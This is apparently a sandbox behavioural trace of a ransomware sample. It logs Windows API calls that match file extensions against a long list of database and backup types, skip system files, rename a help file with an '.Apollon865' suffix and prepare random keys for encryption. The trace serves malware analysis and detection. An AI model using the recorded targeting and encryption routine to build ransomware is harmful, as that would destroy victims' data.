	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.479] lstrlenW (lpString="dsn") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.479] lstrlenW (lpString="dtsx") returned 4
	[0078.479] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.479] lstrlenW (lpString="dxl") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.479] lstrlenW (lpString="eco") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.479] lstrlenW (lpString="ecx") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.479] lstrlenW (lpString="edb") returned 3
	[0078.479] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.479] lstrlenW (lpString="epim") returned 4
	[0078.480] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.480] lstrlenW (lpString="fcd") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.480] lstrlenW (lpString="fdb") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.480] lstrlenW (lpString="fic") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.480] lstrlenW (lpString="flexolibrary") returned 12
	[0078.480] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.480] lstrlenW (lpString="fm5") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.480] lstrlenW (lpString="fmp") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.480] lstrlenW (lpString="fmp12") returned 5
	[0078.480] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.480] lstrlenW (lpString="fmpsl") returned 5
	[0078.480] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.480] lstrlenW (lpString="fol") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.480] lstrlenW (lpString="fp3") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.480] lstrlenW (lpString="fp4") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.480] lstrlenW (lpString="fp5") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.480] lstrlenW (lpString="fp7") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.480] lstrlenW (lpString="fpt") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.480] lstrlenW (lpString="frm") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.480] lstrlenW (lpString="gdb") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.480] lstrlenW (lpString="gdb") returned 3
	[0078.480] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.480] lstrlenW (lpString="grdb") returned 4
	[0078.480] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.481] lstrlenW (lpString="gwi") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.481] lstrlenW (lpString="hdb") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.481] lstrlenW (lpString="his") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.481] lstrlenW (lpString="ib") returned 2
	[0078.481] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.481] lstrlenW (lpString="idb") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.481] lstrlenW (lpString="ihx") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.481] lstrlenW (lpString="itdb") returned 4
	[0078.481] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.481] lstrlenW (lpString="itw") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.481] lstrlenW (lpString="jet") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.481] lstrlenW (lpString="jtx") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.481] lstrlenW (lpString="kdb") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.481] lstrlenW (lpString="kexi") returned 4
	[0078.481] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.481] lstrlenW (lpString="kexic") returned 5
	[0078.481] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.481] lstrlenW (lpString="kexis") returned 5
	[0078.481] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.481] lstrlenW (lpString="lgc") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.481] lstrlenW (lpString="lwx") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.481] lstrlenW (lpString="maf") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.481] lstrlenW (lpString="maq") returned 3
	[0078.481] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.481] lstrlenW (lpString="mar") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.482] lstrlenW (lpString="marshal") returned 7
	[0078.482] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.482] lstrlenW (lpString="mas") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.482] lstrlenW (lpString="mav") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.482] lstrlenW (lpString="maw") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.482] lstrlenW (lpString="mdbhtml") returned 7
	[0078.482] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.482] lstrlenW (lpString="mdn") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.482] lstrlenW (lpString="mdt") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.482] lstrlenW (lpString="mfd") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.482] lstrlenW (lpString="mpd") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.482] lstrlenW (lpString="mrg") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.482] lstrlenW (lpString="mud") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.482] lstrlenW (lpString="mwb") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.482] lstrlenW (lpString="myd") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.482] lstrlenW (lpString="ndf") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.482] lstrlenW (lpString="nnt") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.482] lstrlenW (lpString="nrmlib") returned 6
	[0078.482] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.482] lstrlenW (lpString="ns2") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.482] lstrlenW (lpString="ns3") returned 3
	[0078.482] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.483] lstrlenW (lpString="ns4") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.483] lstrlenW (lpString="nsf") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.483] lstrlenW (lpString="nv") returned 2
	[0078.483] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.483] lstrlenW (lpString="nv2") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.483] lstrlenW (lpString="nwdb") returned 4
	[0078.483] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.483] lstrlenW (lpString="nyf") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.483] lstrlenW (lpString="odb") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.483] lstrlenW (lpString="odb") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.483] lstrlenW (lpString="oqy") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.483] lstrlenW (lpString="ora") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.483] lstrlenW (lpString="orx") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.483] lstrlenW (lpString="owc") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.483] lstrlenW (lpString="p96") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.483] lstrlenW (lpString="p97") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.483] lstrlenW (lpString="pan") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.483] lstrlenW (lpString="pdb") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.483] lstrlenW (lpString="pdm") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.483] lstrlenW (lpString="pnz") returned 3
	[0078.483] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.483] lstrlenW (lpString="qry") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.484] lstrlenW (lpString="qvd") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.484] lstrlenW (lpString="rbf") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.484] lstrlenW (lpString="rctd") returned 4
	[0078.484] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.484] lstrlenW (lpString="rod") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.484] lstrlenW (lpString="rodx") returned 4
	[0078.484] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.484] lstrlenW (lpString="rpd") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.484] lstrlenW (lpString="rsd") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.484] lstrlenW (lpString="sas7bdat") returned 8
	[0078.484] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.484] lstrlenW (lpString="sbf") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.484] lstrlenW (lpString="scx") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.484] lstrlenW (lpString="sdb") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.484] lstrlenW (lpString="sdc") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.484] lstrlenW (lpString="sdf") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.484] lstrlenW (lpString="sis") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.484] lstrlenW (lpString="spq") returned 3
	[0078.484] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.484] lstrlenW (lpString="te") returned 2
	[0078.484] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.485] lstrlenW (lpString="teacher") returned 7
	[0078.485] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.485] lstrlenW (lpString="tmd") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.485] lstrlenW (lpString="tps") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.485] lstrlenW (lpString="trc") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.485] lstrlenW (lpString="trc") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.485] lstrlenW (lpString="trm") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.485] lstrlenW (lpString="udb") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.485] lstrlenW (lpString="udl") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.485] lstrlenW (lpString="usr") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.485] lstrlenW (lpString="v12") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.485] lstrlenW (lpString="vis") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.485] lstrlenW (lpString="vpd") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.485] lstrlenW (lpString="vvv") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.485] lstrlenW (lpString="wdb") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.485] lstrlenW (lpString="wmdb") returned 4
	[0078.485] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.485] lstrlenW (lpString="wrk") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.485] lstrlenW (lpString="xdb") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.485] lstrlenW (lpString="xld") returned 3
	[0078.485] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.485] lstrlenW (lpString="xmlff") returned 5
	[0078.486] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.486] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn.Apollon865") returned 65
	[0078.486] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.491] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.491] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=326) returned 1
	[0078.491] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.492] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.492] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.492] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.492] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0xd8
	[0078.546] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000
	[0078.547] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.548] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.548] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.548] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.548] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.548] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.548] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.548] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.548] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.548] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.549] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.549] CloseHandle (hObject=0xd8) returned 1
	[0078.549] CloseHandle (hObject=0x15c) returned 1
	[0078.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.549] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn", cAlternateFileName="MSMSPU~2.HXN")) returned 1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".") returned 1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="..") returned 1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="windows") returned -1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="temp") returned -1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="boot") returned 1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.549] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.550] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.550] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn") returned 24
	[0078.550] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned 54
	[0078.550] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.MSPUB.DEV.14.1033.hxn" | out: lpString1="MS.MSPUB.DEV.14.1033.hxn") returned="MS.MSPUB.DEV.14.1033.hxn"
	[0078.550] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn") returned 24
	[0078.550] lstrlenW (lpString="Apollon865") returned 10
	[0078.550] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.550] lstrlenW (lpString=".dll") returned 4
	[0078.550] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0078.550] lstrlenW (lpString=".lnk") returned 4
	[0078.550] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.550] lstrlenW (lpString=".ini") returned 4
	[0078.550] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0078.550] lstrlenW (lpString=".sys") returned 4
	[0078.550] lstrcmpiW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0078.550] lstrlenW (lpString="MS.MSPUB.DEV.14.1033.hxn") returned 24
	[0078.550] lstrlenW (lpString="bak") returned 3
	[0078.550] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.550] lstrlenW (lpString="ba_") returned 3
	[0078.550] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.550] lstrlenW (lpString="dbb") returned 3
	[0078.550] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.550] lstrlenW (lpString="vmdk") returned 4
	[0078.550] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.550] lstrlenW (lpString="rar") returned 3
	[0078.550] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.550] lstrlenW (lpString="zip") returned 3
	[0078.550] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.550] lstrlenW (lpString="tgz") returned 3
	[0078.550] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.550] lstrlenW (lpString="vbox") returned 4
	[0078.550] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.550] lstrlenW (lpString="vdi") returned 3
	[0078.550] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.550] lstrlenW (lpString="vhd") returned 3
	[0078.550] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.550] lstrlenW (lpString="vhdx") returned 4
	[0078.551] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.551] lstrlenW (lpString="avhd") returned 4
	[0078.551] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.551] lstrlenW (lpString="db") returned 2
	[0078.551] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.551] lstrlenW (lpString="db2") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.551] lstrlenW (lpString="db3") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.551] lstrlenW (lpString="dbf") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.551] lstrlenW (lpString="mdf") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.551] lstrlenW (lpString="mdb") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.551] lstrlenW (lpString="sql") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.551] lstrlenW (lpString="sqlite") returned 6
	[0078.551] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.551] lstrlenW (lpString="sqlite3") returned 7
	[0078.551] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.551] lstrlenW (lpString="sqlitedb") returned 8
	[0078.551] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.551] lstrlenW (lpString="xml") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.551] lstrlenW (lpString="$er") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.551] lstrlenW (lpString="4dd") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.551] lstrlenW (lpString="4dl") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.551] lstrlenW (lpString="^^^") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.551] lstrlenW (lpString="abs") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.551] lstrlenW (lpString="abx") returned 3
	[0078.551] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.551] lstrlenW (lpString="accdb") returned 5
	[0078.552] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.552] lstrlenW (lpString="accdc") returned 5
	[0078.552] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.552] lstrlenW (lpString="accde") returned 5
	[0078.552] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.552] lstrlenW (lpString="accdr") returned 5
	[0078.552] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.552] lstrlenW (lpString="accdt") returned 5
	[0078.552] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.552] lstrlenW (lpString="accdw") returned 5
	[0078.552] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.552] lstrlenW (lpString="accft") returned 5
	[0078.552] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.552] lstrlenW (lpString="adb") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.552] lstrlenW (lpString="adb") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.552] lstrlenW (lpString="ade") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.552] lstrlenW (lpString="adf") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.552] lstrlenW (lpString="adn") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.552] lstrlenW (lpString="adp") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.552] lstrlenW (lpString="alf") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.552] lstrlenW (lpString="ask") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.552] lstrlenW (lpString="btr") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.552] lstrlenW (lpString="cat") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.552] lstrlenW (lpString="cdb") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.552] lstrlenW (lpString="ckp") returned 3
	[0078.552] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.552] lstrlenW (lpString="cma") returned 3
